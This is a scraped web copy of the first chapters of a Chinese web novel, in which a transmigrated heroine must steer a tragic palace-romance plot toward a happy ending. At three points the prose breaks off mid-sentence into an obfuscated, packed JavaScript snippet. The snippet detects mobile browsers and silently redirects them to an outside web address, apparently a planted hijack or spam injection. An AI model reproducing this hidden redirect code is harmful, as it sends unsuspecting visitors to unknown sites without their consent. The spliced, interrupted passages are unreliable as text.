《攻略偏执反派又抛弃他后》 1. 第 1 章 穿进古早小说里,和年轻将军展开一场虐心三角恋是什么感受? 傅苒的心情可以说是一言难尽。 因为要虐恋的对象,就在此时,正半死不活地躺在她面前。 黎明破晓的时分,溪头薄雾湿凉,白露寒重。 她独自提灯站在岸边,耳畔流水声澹澹,脚跟前昏迷着一个浑身沾满血迹的青年男子。 傅苒举起灯盏,借着单薄的火光低头望过去,视野中现出苍白而英俊的面容。 眼前的男子身穿着霁色暗纹袍,腰佩玉钩革带,身姿挺拔,呼吸微弱,周身伤痕处晕染开的深红血色已被冰冷的溪水浸得透湿。 虽然他散落的黑发间也已经血渍黏连,隐隐盖住了半边脸,露出的侧颜却显得矜贵又凌厉,映出月华流刃一般的冷冷清清。 不愧是芝兰玉树般的古早玛丽苏小说男主长相。 但如果她穿的不是个指定要来横刀夺爱的恶毒女配,那就更好了。 一言以蔽之,傅苒穿进了一本在网络上小有名气的古早玛丽苏权谋文《月倾天下》,并且穿的是个医女——那种经典的,清丽、纤弱、身世孤苦,楚楚可怜的小白花医女。 而现在躺在溪水边气息奄奄,等待被她捡回家的野男人,是被刺杀后受伤失踪的齐朝将军,这本小说的男主,谢青行。 荒原旷野,医女在溪边救下了来历神秘的英俊男子,开头似乎很言情,可问题是,她要救的野男人其实早已另有心上人,即本文中倾国倾城的玛丽苏女主,苏琼月。 本来,男女主一个少年将军,一个美艳贵女,双方青梅竹马,双向暗恋,很快就要订约终身。 但如果按照原著发展,在救下男主后,女配将会给他种下一种名叫忘忧蛊的情蛊。 所谓忘忧,其实等于失忆。 因此男主伤愈醒来后,不但忘记过往,突然疏远女主,还把女配这个来路不明的柔弱白莲花带回自家府上,认为义妹,对她各种关怀爱护。 什么朝夕共处,宴会上公然维护,猎场里英雄救美,而且好巧不巧还都赶上女主在场旁观,于是,目睹竹马变心的苏琼月慢慢转向心灰意冷。 就这样,青梅竹马小清新开始往她爱他爱她的狗血三角恋上一路狂飙,再加上古早小说必备的男配强取豪夺戏份,女主内心陷入不断的痛苦和挣扎。 她逃,他追,他们都插翅难飞。 中间无数虐身虐心桥段莫名其妙又死去活来,看得作为读者的傅苒一头雾水。 当初在无数次从读书软件的“虐恋经典”一栏刷到推荐后,她才一时好奇地拜读了这篇大作,然而看完只觉得,自己完全是看了个寂寞。 为什么虐了快百万字之后,好端端一个开局玛丽苏光环爆表的女主居然被虐到吐血病死了?? 话说回来,这大概也是她穿进来的原因。 从书中世界睁眼的第一刻,傅苒就听见了自称为“虐文拯救系统”的声音。 系统给她的任务很特别,既不用攻略哪个痴情男配,也不用抢主角光环当逆袭女配,而是要变更这篇虐文的走向,把彻底be改写成he。 傅苒听完的第一反应是看了眼昏迷的男主:“……那女配,不是,我能不下这个什么鬼的情蛊吗?” 【加载中,加载进度35%……50%……】系统的回复略显卡顿。 【回答宿主:忘忧蛊为本文核心设定之一。根据当前的修改准则,宿主现在必须维持所有关键设定和剧情不变,只能通过具体场景及细节改动,来达到逐步变更结局的目的。】 傅苒还想再垂死挣扎一下:“等等等等,但我只要救了男主一样可以介入主线,不用非得下蛊……” 系统:【加载进度条100%,加载完毕——延迟提醒:作为新手指引,本系统在十分钟前已经为宿主完成“种下忘忧蛊”情节,请直接开始任务。】 傅苒:………… 你都全自动安排完了还有什么好!说!的! * 仲春时节,穿堂的熏风日渐和暖,炉火蒸腾却让室内略显几分闷热。 傅苒认命地举着戥秤,在心里一边默念药方,一边称量手边的材料。 “黄苓二钱,天麻三钱,丹参六钱……” 她把散发清苦气味的药材混合在器皿里,加清水浸没,置于燃着火的药炉上,同时在心里把系统吐槽了无数次。 穿书也就算了,不能稍微做一下简历筛选?可怜她一个数学系大学生,半节医学课都没有上过,结果被无良系统选来干中医的活,它自己看看这合适吗! 而且,这事说到底还得归功于系统种下的情蛊。 这个所谓的“忘忧蛊”,在她看来效果跟传说中的忘情水差不多。中蛊的人不会失去其他记忆,但对于和心上人相关的那部分,则忘得干干净净一片空白。 要说它和忘情水有什么区别,那可能只有忘情水是一次性物品,而忘忧蛊则长期蛰伏,一旦中蛊者有任何想起真爱的迹象,就会立刻感到头痛欲裂。 所以,心虚的傅苒只好每天上班打卡一样来给男主熬安神药,并讪讪地接受谢府其他人对她充满赞誉的目光。 往好处想,区区情蛊而已,总比开局挖心挂城墙的要强多了。 她勉强自我安慰着,手上习惯成自然地走完了流程。等候在药房门口的婢女见人出门,立刻热情地迎上前道:“公子在书室中,奴婢这就领姑娘过去。” 谢家因为是高门大户的缘故,府中屋邸开阔,轩径明朗,从庭间走过,两株高广的梧桐树枝叶青翠又繁密,为敞开的窗棂遮蔽了这时节已过分耀眼的骄阳。 静室里则清凉不见日光,四面的竹帘低垂,书案旁的一簇兰花雪白,悄然流淌着馥郁的芬芳。 年轻公子正端坐在书案前,听到脚步声,才从纸页中抬起了目光,向她一笑道:“阿苒,你来了。” 跟她那天捡到一身血的重度战损状态比起来,伤愈的谢青行可以说是焕然一新,仪容清正而修整,寒星似的眼眸中有种明锐的英气,如名刃暂封于鞘,依然掩饰不住外溢的光华。 然而视线一对上,正端着药的傅苒更心虚了。 此情此景,很难不让人想到经典名句——“大郎,该吃药了。” 为了跳过这种诡异的联想,她赶紧上前一步,把东西轻轻放到案上:“谢公子,这是你今天的汤药。” “有劳你了。”谢青行颔首,自然而然地伸手接过了药碗。 他的气质冷锐,眼神却像是含着纵容般的无奈:“阿苒,其实不必总是称我为公子。若你愿意,唤我的字景逸,或者像寻常的那样叫我阿兄便可以。” 傅苒:你看我敢吗? 她果断摇了摇头,乖巧安分且识时务地推辞:“可我与谢公子身份不同,本来就该要遵循礼节才是。” 当然主要是想到原著里女配一口一个青行哥哥就被肉麻得不行…… 其实她就随便找个借口拒绝而已,谢青行却仿佛信以为然,担忧她因为自己的身份而自卑,不由得端正了神色道:“先贤曾言,人之有德于我,不可忘也。谢家从来有恩必还,何况你救过我的性命,于我就如同血脉至亲一般,在我这里,任何时候都不必拘束于外礼。” 你说的好有道理,可这不是关键原因,关键是我俩有情蛊啊哥们! “公子说得对。”傅苒只能从善如流地点头,但称呼依旧没改,表示我就是这么油盐不进,“我知道了,以后会注意的。” 谢青行拿她没办法似地叹了口气,也并未再继续这个话题,而是举起那碗看起来就苦得惊心动魄的漆黑药汤一饮而尽,毫无迟疑,连眉头也没皱一下。 没等傅苒表示钦佩,他转眼注意到了漆盘另一侧,用精致小碟盛着的羊乳蜜枣,看向她的目光忽然不知不觉地变得格外柔和起来。 像是被某些隐约的回忆所触动,谢青行笑着摇了摇头,轻声道,“这些蜜渍甜物,也就只有你喜欢带给我,其实不过是汤药而已,没有多么苦,我又不是小孩子了。” 就算这么说,他还是不由得面露笑意,把看起来甜腻得过分的蜜饯一同服了下去。 首先,我们压根没有过什么从来,其次男主因为女主给点糖就感动这种梗也太老了。 傅苒内心简直要汗流浃背了。 除了使人忘记真爱以外,忘忧蛊还有另一重作用,就是让中蛊对象产生回忆错觉,从而把记忆和感情都转移到那个下蛊的人身上。 所以谢青行现在对她说的话,百分之百是出于他以前对女主的恋爱脑。而她不止要演三角虐恋,拿的还是个白月光替身文学剧本。 她在莫名冒出粉红泡泡的气氛里,尴尬得快脚趾扣地,在心里默默祈祷,不需要的情蛊到底能不能帮忙分配给有需要的攻略任务! 好在这时候,门外有人传话,解救了静室里的煎熬。 侍立在门侧的婢女与来人低声交谈了几句,随后向屋内的谢青行禀报道:“清河王殿下和京兆郡公府的三娘子前来府上探望公子,是否要移步厅中见客?” 刚听到这句话,脑海中已经沉默了很久的系统忽然诈尸一样冒出了提示音。 【任务提醒——新手养成情节部分已结束,接下来即将正式进入小说主线剧情。请宿主注意任务要求,积极取得女主角信任。】 很好。 她生无可恋。 说曹操曹操就到,三角恋另一方,白月光本人终于也华丽登场了。 “清河王,与苏家三娘?” 谢青行迟疑地皱起眉,眼中似乎划过一丝困惑,但很快摇了摇头,“不必。书室雅洁,足以为待客之所,就在此处会见吧。” 傅苒刚准备离开,谢青行却马上对她示意不用避嫌,来客也比她想的快,没多久,风中便传来了一阵轻盈的环佩叮铃。 盛装少女的身影出现在了门畔,还未踏进屋内,就迫不及待地唤了一声:“谢景逸!” 映入眼帘的,首先是她修长曳地的三重袿衣,鲜明而绮艳,周身上下无不华美到了极点。尤其当煦风吹过时,带动了裗带轻飘,薄纱翩舞,就像燕子的一剪尾羽,轻妙地掠水翻飞。 但纵然是这样盛丽的服饰,也半点没有盖过苏琼月的美貌。她被光艳的彩衣衬得肤如凝脂,明珠般的容貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被迫营业的傅苒没能及时躲掉,只好弱弱地出声解释:“娘子不必心急,谢公子的伤势早就好了,可能是有暗疾未愈,但只要宁神静气,应该很快就能自然平复了。” 其实这原因纯属瞎编,因为头疼显然是忘忧蛊的效果导致的。 想到了这个,她的愧疚更上一层楼,在心里又把强行增加任务难度的系统骂了一遍。 苏琼月闻言微微一怔,这才注意到角落里没什么存在感的傅苒,仔细打量了几眼。 但她来往多年,很清楚谢府只有一个女郎,就是谢青行叔父的女儿谢晞容,从未有过什么其他的年轻女眷,心头涌起一股异样感,不由问道:“这位是?” 傅苒立马摆手:“我只是府上的医者……” “是我的义妹,近日来我的伤情多亏了她照料。”谢青行不知何时从痛楚中逐渐缓了过来,径自代她回答了这个问题。 “……你哪里来的什么义妹?” 苏琼月惊诧里浮现出难掩的恼意,眼神在他身上不可置信地停了片刻,像是被气笑了,半天才硬生生吐出几个字,“我怎么从来没有听说过。” 偏偏谢青行丝毫没有察觉到她骤然波澜起来的情绪,依旧平稳地解释道:“阿苒是青州人,刚来洛阳,认识的人还不多,府外人不知道也是寻常。” 然而苏琼月听到的重点完全不在这句话上。 叫她苏娘子,叫别人就是阿苒? 还、还一口一个外人! 她从没在谢青行这里受过如此的冷遇,许多日子里的挂念好像一拳打在了棉花上,霎时间化作了焦躁,又被他的态度噌地一下激恼了。 心里的委屈禁不住腾腾冒了上来,话语中也逐渐掺了一丝忿然的赌气意味:“好,好,我认识谢郎君这么多年,竟然不知道郎君有到处认干妹妹的习惯!” 这句说得不免有些逾越了。谢青行皱起眉头,声音也同样变得严肃冷淡了下来:“认亲干系重大,乃是因为阿苒于我有救命恩情,绝非随意的事,苏娘子怎么能如此轻率言之?” ……等一下。 发生了什么? 傅苒半句话还没说上,就眼睁睁看着男女主莫名其妙话锋一转,往小情侣吵架狂奔而去,连带着屋里的氛围也变得紧张起来。 她不知所措地跪坐在一边,以两人都没注意到的音量迟疑着小声道: “那个……两位先聊,我没事就告退了。” 情况不妙。 火线吃瓜,还和男主疑似关系暧昧,不不不,这不是她一个改文工具人该干的。 傅苒胆战心惊地猫下腰,从空隙中一掠,尽可能不要妨碍到男女主之间焦灼的视线,然后悄悄端起盛着空碗的漆盘准备飞快地闪人。 但刚迈出两步,就听见敞开的院门中传来低低的一声轻笑。 “阿姊,看来在你虔心祈福的日子里,谢将军这儿可不缺人关心。” 声音听起来像是少年,又比少年低沉。 说的内容并不可怕,但是让傅苒一阵毛骨悚然。 会出现在这里,还唤女主阿姊的,不就是原著里那个又疯又变态还姐控的病娇暴君吗! 2. 第 2 章 如果说,傅苒在这个小说世界里有什么极其不想遇见的人,她毫不犹豫地选择原书里迷恋女主的清河王晏绝。 理由很简单,因为她感觉这人就是纯粹的心理变态。 晏绝不仅仅偏执,还是个彻头彻尾的疯批反派,哪怕对于他如今视为白月光的女主,在求而不得后都能毫不留情地施加伤害,把她彻底逼到崩溃,最后在异国抑郁而死。 所以傅苒觉得,在如此扭曲的人格中,就算是存在所谓的感情,也跟怜惜或者爱这样美好的事物没有一点关系。 何况连书里玛丽苏光环盖世的女主都被折腾得要命,普通人见了这种疯批,当然是连夜跑路越远越好。 奈何剧情来得太突然。 她刚从男女主火花带闪电的对视中间逃出来,刚挪到墙角,还没来得及闪出屋子,就对上了一双似笑非笑的乌黑眼睛。 刚才出声的少年不知何时已经踏进了屋槛,抱臂斜倚着一扇豁然敞开的门扉。不知道是刻意还是巧合,总之,他恰到好处地拦在了傅苒的去路上。 少年玄青的衣摆上隐隐透着泛露微芒的浮云麒麟纹络,垂在那道褐黑的木门边缘,映衬出一种光彩流溢般的异样华美。 ——不得不说,即使在这种情况下,她还是要承认晏绝长得是挺好看的。 但并非谢青行那样端正的英俊,而是一种近乎于美艳的昳丽。 他肤色白皙,眼瞳浓黑,眉眼都精致到了极点,像是已经开放至极盛时节的桃花,只要再进一步,就会走向无可挽回的凋败。 这样过度惊人的美艳甚至令他整个人生出一丝柔弱感,让人有种无害的错觉。哪怕此刻,他的目光正落在她身上,露出一个很难算得上好意的笑容。 “这位姑娘,你想做什么?” 此言一出,本来在对视的男女主不约而同地把注意转移到了正在溜走的傅苒这里。 端着空碗试图降低存在感的傅苒:“……” 她干巴巴地一笑,只能赶紧行了礼道:“没什么,我见两位故友逢面,不想留在这里打扰谢公子与客人叙旧而已……” “哦?”少年看起来并没有要放过她的意思,不紧不慢地接了下去,“可若是我没记错,自谢将军归居静养之后,我与阿姊还是首次来访府上,此前与姑娘似乎也不曾认识。” 他依旧含着笑,那双明丽的眸子仿佛一池暗沉沉波澜不兴的水泊,暗流底下藏着险恶难辨的利石:“那你又是从何了解到,我阿姊与谢将军过去是旧友?” 傅苒无语凝噎。 这人也太多疑了。 她就是个小透明气氛组而已,让她安安静静溜走不好吗! 虽然女主的眼神就已经说明了一切,但奈何不能说。她支支吾吾地勉强编出了个还过得去的理由:“我……贸然猜测,因为谢公子养伤时从未见过外人,今日两位贵客初登门,又无公务要事相谈。所以我才想,来客必定是亲旧之人。” “这可不好说。”少年看着她紧张的神色,片刻,却忽然促狭般地弯了弯唇角,语气意味不明。 “这世上,在别人受伤落难的时候,最乐意登门拜访的那些人,未必就是有旧……说不准,也可能是有仇。” “殿下说笑了。” 谢青行面色沉静,总算不动声色地出言帮忙解了围,“阿苒向来性子内敛,的确只是无意多事罢了。” 旁边的苏琼月却更不高兴了:别人说两句话而已,关他什么事! 她虽然表面上作出无所谓的态度,但声线还是难免透着一丝闷闷的怨气:“我可没说要人避让,傅姑娘既然是景逸的义妹,想必也没什么不能听的。” 傅苒:……不是,我真的很想避让。 可惜事已至此,显然是走不成了。 她只好无可奈何地默默放下东西,乖觉地跪坐到了远远的一侧,假装自己像案边摆放的兰草一样,只是件不得不陈设在这里的室内背景板。 好在晏绝没有进一步为难她的意思,终于迤迤然落了座。 他举止从容而文雅,俨然像个人畜无害的漂亮少年。但傅苒很清楚,他绝不是这么好糊弄过去的。 晏绝之为人,就像风平浪静下藏满了暗礁的险滩。表面上看起来越明朗无害,内心的想法可能就越是阴暗。 然而没有谁察觉到她弱小可怜又无助的心情,谢青行对双方分别做了介绍后,苏琼月看起来本还想多关心几句他的伤情,但又由于生着闷气,不肯再主动搭话。 反而是随后的晏绝言笑自若,不知怎么就逐渐接过了话题。 虽然傅苒很清楚按照小说的结局,这人最后必然会成为一个毁誉参半且腥风血雨的大暴君,但这个时候,他还是现任皇帝的亲弟弟,如今的清河王。 尽管实职也已经不低,却还远远达不到后来独揽大权,逼迫继位的小皇帝自请禅让的程度。 “不知谢将军归京这些日子,有没有听说过朝中的传闻。上月,皇兄因为相州刺史赵筑多年来贪赃枉法一案震怒至极,已经下令即刻将罪人押送进京问责。” 晏绝先是轻描淡写地提起了近期官员们谈论的热门议点,随后又转到了谢青行身上:“最近一段时日,他因此事一直颇为气闷,幸而谢将军很快就要伤愈归职,想必能让皇兄开颜不少。” “相州刺史……” 谢青行神色微动,不知想起了什么,一时没有马上回应。 可苏琼月本来只是单纯为了问候伤情而来,没成想却变成了听他们讨论好半天朝事,从地方庶务说到人事调动。 她又完全不是通达时务的人,结果就是听得一个头两个大,差点梦回幼时在宫中修学的日子。 好不容易遇到了个能懂的话题,她终于抓住机会发表了看法:“贪赃枉法,不就是收受贿赂。这人真是可恶,仗着京中不知情,便敢在地方上作威作福,欺压普通百姓,被革职也是他罪有应得的。” “苏娘子所言甚是。” 谢青行闻言嘉许地称赞了一句,向她温和点了点头。 苏琼月不过随口一说,没有想到他会认可,顿时被夸得愣神片刻,半天才回过神来,脸上不禁后知后觉地泛起了红晕。 她于很多事情并不精通,过去也曾有时出言无知,事后每次想起来都觉得十分羞耻。 但谢青行自幼时起待她就是这样,从无半分奚落,总是先赞赏她的优点,而后才言辞委婉地把事情一一说明清楚,对她毫无看轻之意。 想到过往的种种,苏琼月从刚才起积攒的闷气顿时消散了一大半,心想本就是她来看望得太晚,所以他外表上有点冷淡,也很正常,只要之后她郑重解释了就会好的。 她一如既往地用仰慕的眼神望着谢青行:“那谢郎君觉得这件案子会怎么处置?” “赵筑身为一方长官,营私乱法为重罪,陛下知情后,必然降下雷霆之怒以儆效尤。” 谢青行似乎本来不打算继续这个问题,但因为苏琼月特意问及,他也就没有存心回避,而是向她仔细解释了原因。 “但我在府中养伤之时,的确听闻了本案的一些风言,此人最初受贿和勾结商胡至少起始于在六年之前,可见其罪行弥久,不是一时的行径。然而多年来,朝中却从来没有听说过告发他的文书,中间恐怕是有官员在包庇他的罪情。” 有人包庇,就意味着朝廷里肯定会有所牵连。至于牵连的是谁,就有些避讳,不好再和一个与事情无关的闺中女郎明说了。 好在苏琼月本来也意不在此,表面听着心上人细致的分析,实际上满心满眼都是默默萌动的情愫。 反正这事已经闹到了皇帝那里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没错,我其实是受平原公主所托。是这样,她那里新寻到了几个善于胡旋的舞姬,打算趁着上巳办一场胡旋宴,所以特意让我来谢家邀请你……你们。” 谢青行听完她的话,并未立即答复,而是先沉吟了一刻。 论理他和平原公主算不上相熟,但既然是好意,也没有什么拒绝的理由。 何况这份邀请不是独独为了他,要是小堂妹谢晞容听说有热闹可看,就算把西府掀翻了也是非去不可的。 他身为长兄,习惯了照顾家人,至于自己想法如何,在这里反而无关紧要,所以本能地先询问一直没说话的傅苒:“既然如此,阿苒,你想去吗?” 苏琼月正满心期待着他答应,听得这一问,不由得随着他的目光直直望向傅苒。 坐在她身边的晏绝仿佛同样意外,黑眸中随之划过一丝若有所思的波澜,而后也饶有兴趣地看了过来。 “……?” 傅苒本来装背景板装得好好的,忽然之间受到三道目光注视,一下子紧张得卡壳了。 怎么还有她的事,这修罗场到底有完没完了! 而且男主貌似一点都没意识到,苏琼月的目的压根就是想请他,别的都是幌子而已。要是她就这么代为答应下来,那也太没轻重了吧? 谢青行却以为她是不好意思,便补充道:“晞容肯定会与我们同去,即便我到时不能陪你,晞容也会多照应的。” 这,这不是重点啊…… 但感受到女主越发灼热的视线,傅苒更没法把真实原因说出口了。 气氛就这么神奇地凝滞了片刻,唯有晏绝似乎对他们的磨磨蹭蹭感到不耐,忽而站起身来,打破了场上的僵局。 他拂了拂衣摆沾上的轻尘,神态明朗而愉快,看似随意,却实质上不由分说地帮她作了回答。 “好了,既然谢公子坚持想让义妹一同去,就随他的意愿好了。阿姊,你都不怕麻烦专程过来请人了,还在乎多一个少一个不成。” 少年抬起浓密的长睫,向缩在角落的傅苒如有深意地勾唇一笑,黑眼睛明润又清亮,桃花似的眼尾微微上挑,仿佛碧水里含着粼粼的波光。 “你说对吧,傅姑娘?” 3. 第 3 章 “他到底什么意思?” 傅苒好不容易从暗流涌动的修罗场逃出来,一回到自己的屋子,马上后悔不迭地趴在了榻上。 晏绝最后一刻的笑容让她心有余悸。 要是别人这么说,可能只是出于礼貌客气一下,但是晏绝,她可以肯定,他绝对没安什么好心思。 因为上巳的宴会是原小说里一个很重要的情节,毕竟男女主自幼在宫中相识,早已经历了两小无猜,情窦初开,知慕少艾,只差了个有仪式感的定情环节。 是以谢青行离京征讨青州前,苏琼月和他约定,第二年春日归来,与他上巳节在伊水畔相会。 含义都这么明显,如果没出差错,两人基本就该临水为誓,山无棱天地合乃敢与君绝了。 结果,意外偏偏就发生在这个重要时刻的前夕。 傅苒想到此处,一阵唏嘘:这狗血程度不亚于电视剧里,男主刚要表白就车祸失忆了。 尽管如此狗血,该走的流程还是要走。然而因为谢青行在失忆的情况下完全忘记了相会的约定,女主苏琼月独自一人在花树下等待了大半天,失望地负气离去,从此误会越来越深。 总而言之。 傅苒从头复盘了一下本文重要虐点,觉得她从现在开始挽救的希望还是很大的。 两人错过的开端就是始于被遗忘的伊水之约,那她只要当天想办法让男主去他们约会的地点,后面的事不就好说了! 但一切的前提是晏绝不要中作梗。话又说回来,他肯定看不惯男女主重归于好是真……但是关她什么事情?为什么会突然主动捎带上她? 傅苒被他居心莫测的行为搞得一阵悚然,心下惴惴,总有种被大反派盯上的奇怪不安感。 * 不管怎么说,上巳日的当天,是个风和日丽的好晴天。 一大清早,在任由谢府的婢女给她盛装打扮,被反复确保没有什么不体面之处后,傅苒才被塞进了门外装饰精美的华盖翠幄车。 然后一抬头,和早就占据车厢主位的一位十一二岁的盛装小女郎对上了视线。 傅苒愣了两秒,向对方弯起一个友好的笑容:“谢娘子。” 是的,这位就是谢青行正经的真堂妹谢晞容。 端坐上首的小女郎相貌标致,发上簪的蔷薇花就像本人一样粉嫩又明媚,但脸色十分不佳。 她勉勉强强,相当不情不愿地打了个招呼,然后就把脸撇了过去,明摆出一副不想友善沟通的态度。 不过说实话,能叫谢晞容答应跟人同车出行,就已经很不容易了。 谢家年轻一辈就她一个最小的女孩,从小娇养惯了,脾气大得很,加上不太清楚傅苒的来因,以为又是一个来家里攀高枝的远房亲戚,免不了有点看轻这些寄人篱下的人。 她有心疏远,想着这次来的看起来还算识时务,自觉挑了一个不太近的位置,没有硬往她身边凑的意思。 然而等了半晌,竟然真没有等到主动的搭讪,心里却不痛快起来。 上巳踏春,去的是洛阳城外的伊阙一带,车程还长得很。 她无聊地自己把玩了一会腰饰上坠的穗子,忍不住转头多嘴道:“穿的什么衣裳,太素了,你不知道洛阳城里如今时兴鲜艳的料子吗?” 果然是个没见识的乡下人,她心里想。 “……啊?”靠着车窗思索的傅苒茫然地回过身,下意识回答:“不知道。” “不知道就要多学,免得以后被人笑话。”玩穗子玩得百无聊赖的谢晞容终于获得了点反馈,被激起几分兴头,傲慢地瞥了她两眼,想要教导一下京城贵女们的流行时尚。 “春日游宴,选鹅黄翠绿的洒金裙,或是桃红石榴红的罗裙看起来最活泼鲜亮,尤其是上巳的宴上,外头应当再配亮色的半袖或者帔子才更好……像你身上这样浅的淡雪青色,平时在家还能看看,到时候一放到人堆里就根本不打眼了。” 她滔滔不绝讲解了一番衣料纹饰的搭配心得,见傅苒只是听着,没有表现出任何不耐烦的意思,于是得意地结了个尾。 “算了,伯母说以前你过去一直待在乡下,想必也没什么见识,出门有哪些讲究,下回问我……我伯母最清楚了。” 她本要说问我,临出口又觉得,没必要凭空给自己添麻烦,于是火速转口把锅甩给了刘夫人。 “哦。”傅苒虽然不明所以,但还是虚心受教,听完才看了一眼身上看起来已经相当光鲜亮丽的衣服,疑惑地补充,“可这就是夫人给我选的?” 还评价了句颇为娴静来着,难不成是长辈们的审美不同? 谢晞容顿时一噎,连带着后续的话也被堵在了喉咙里。 照理说,既然已经是伯母点头的,她作为一个小辈当然无话可说,而且她刚刚还在叫傅苒请教刘夫人,这会更不好再自己打脸了。 她只得憋了半天,才嘟嘟哝哝地说:“那,那就行。” 谢晞容教导未遂,羞恼不已,连忙匆匆把脸又撇了回去,决定再也不要跟这人说话了。内心短暂出现的识时务的评价也立刻烟消云散,转而变成了不知好歹的乡下人。 果然一开始就不应该多管闲事! 车厢里顿时再度陷入了一片沉默。 但傅苒其实没有太在意这段小插曲,因为她正在思考一个很重要的事实,那就是系统给的这个身份,是多么坑人。 根据她对女主有限的了解,苏琼月因父母已故,从小时就养在自己的姑母,也就是宫中的皇太后膝下。不仅如此,由于太后的多年摄政,整个苏家也跟着鸡犬升天,在朝野中影响很广。 所以就算在洛阳门第之中,这都算相当显赫的出身了。 而她呢,除了跟苏琼月身份悬殊之外,关系不能说交情匪浅吧……只能说是毫不沾边。 傅苒很想质问系统:有没有一种可能,既然这篇小说的剧情围绕女主展开,那好歹应该让她穿成女主的贴身侍女之类呢? 穿成男主身边的人有个鬼用!这种多男配玛丽苏文里,男主在剧情中超过一半的时间都是掉线的!! 但她这个系统,和传说中那些絮絮叨叨,还会读宿主本人想法的系统完全不一样。 除非傅苒有十万火急的事要找,否则它始终维持着死一般的寂静,让她简直怀疑自己其实是在跟一个幻想的系统交流。 鉴于系统把放养政策贯彻到底,傅苒无可奈何,只好自己想办法。 事已至此,走一步看一步,暂时先跟着谢青行再说。不然要是没有男主的话,她想见女主估计得指望鱼传尺素了。 打定了这种念头,好不容易熬过漫长的车程后,傅苒刚一下车,立刻就寸步不离地尾随在谢青行身后。 她内心暗暗摩拳擦掌,男主去哪她就跟着去哪,绝不能放过任何让男女主碰面的时机! 连谢青行都被她突然间显得过于殷切的目光看得有些意外,不由得失笑道:“怎么了,莫非才出府,不习惯人太多的地方?” 傅苒虽然难以启齿,但毕竟已经做好了心理准备,心想她今天豁出去了,顿时厚着脸皮点头如捣蒜。 “我第一次见到这样盛大的节庆,而且我人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419392|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生地不熟的,也不敢和其他人搭话……谢公子,不如我和你一起走吧。” 她越说越羞愧:现生和穿书两世加起来,还没对男生说过这么让人头皮发麻的话…… 身后保持着贵女仪态,优雅地登下马车的谢晞容见状银牙一咬,忿忿不平地心想,刚才在车上呛她话的时候不是挺好意思的! 果然这就是阿娘说的当面一套背后一套的,那什么来着,对,狐狸精! 偏偏谢青行对她的怒火毫无所觉,甚至还在安慰傅苒:“别怕,晞容性子活泼,同龄的朋友不少,一会自然会领你结识别家女郎,你若是怕生,只跟着她就好。” 傅苒心中暗急,却偏偏又不能直言原因,只好犹犹豫豫地婉拒道:“这样不好吧,太麻烦谢娘子了。” 什么意思? 莫名被安排的谢晞容脸色更是一黑,愈发要炸毛。 她哪时候答应过这种事情了,还想介绍给她的小姐妹?做什么梦,想都别想! 谢晞容气哄哄地正准备冲过去打断两人的对话,可没走几步,便听见了不远处笙歌鼎沸,又传来一阵热火朝天的吵闹和叫好,还有隐隐约约的乐声。 她被马车颠得索然寡味的心情顿时豁然一亮,挣扎了几下,最终还是看热闹的激情稳占上风。 虽然心里还想算账,但脚下已经诚实地改了方向,领着婢女直接朝着人多的地方兴冲冲奔了过去。 “呜——” 正当此时,人群间闹闹哄哄的语笑声中,如同鸾鸟清鸣般响起一道动听的笛音。 笛声乘风而至,盖住了人声的喧嚣,如同入夜的山林里,虫声嘈杂切切的背景音中,忽而听闻归鸟一声脆亮的啼鸣,令人瞬间被挑动了心神。 紧接着弦乐响起,像琵琶的音色。 奏的是段轻松而活泼的调子,带着春日的飞扬意气,仿佛少女在城郊的翠色中打马而过,举目见杨柳青青,于是折枝在手,怡然自得地哼唱出了一段乐谣。 连满腹心事的傅苒也被从未听过的乐声吸引了:“谢公子,这是什么曲子?” “似乎是《折杨柳》,去年起就在京中颇为盛行。” 谢青行带她一起向河畔走去,闻言回忆了片刻道,“我也听人唱起过这首曲,曲辞中仿佛有‘遥望孟津河,杨柳郁婆娑’之句,想必是于洛阳附近所作的。” 傅苒点点头,然后内心暗自肯定,看来琵琶声的来源毫无疑问正是女主苏琼月了。 由于小说里胡旋宴部分着墨不少,她都无需回忆就能想起今天大戏的发展。严格来说,除了虐心以外,这次宴会主要还是用来让女主展示才艺的。 毕竟,古早文怎么能没有一曲惊艳众人这种再经典不过的环节呢。 但即便文字里的内容早就很熟悉,可行至近处时,傅苒还是被宴会的热闹非凡小小震撼了一下。 这天春日的伊水澄碧如洗,潺潺的波纹里荡漾着金鳞一样灿烂的浮光,两岸往来的人亦如流水,溯游而下,春风四野,弥望之中俱是歌舞升平的景象。 河边则搭起了连天的五彩帷帐,帐幕内外熙熙攘攘的人潮仿佛群聚的鸟雀。其间有人在奏曲,有人在踏歌,有人饮酒作乐,有人握槊投壶为戏,高声呼喝,不绝于耳,鲜活得像一册风物长卷。 天下名都之中的无限繁华,从此间哪怕瞥见一隅,也足够浓墨重彩了。 紧接着,她就看见了谢晞容活跃的身影闪进了一顶最大最华丽的帐子,小女郎连一一打招呼的动静都格外兴高采烈。 “公主殿下,苏家阿姊,原来是你们在奏乐呀!” 4. 第 4 章 走进帐中时,远远听闻的乐声已然停止,但见一支光泽流转的青玉笛,被握在坐席上首的少女手中。 这少女衣裙金彩绚丽,尖俏的下巴微微抬着,令她的目光从他人身上扫过时,天然便带出骄矜而倨傲的神气。 桌案的另一侧则是个容颜绝世的丽人,着碧衫罗裙,膝上斜放着金饰的琵琶,余音袅袅,是前几天见过的女主苏琼月。 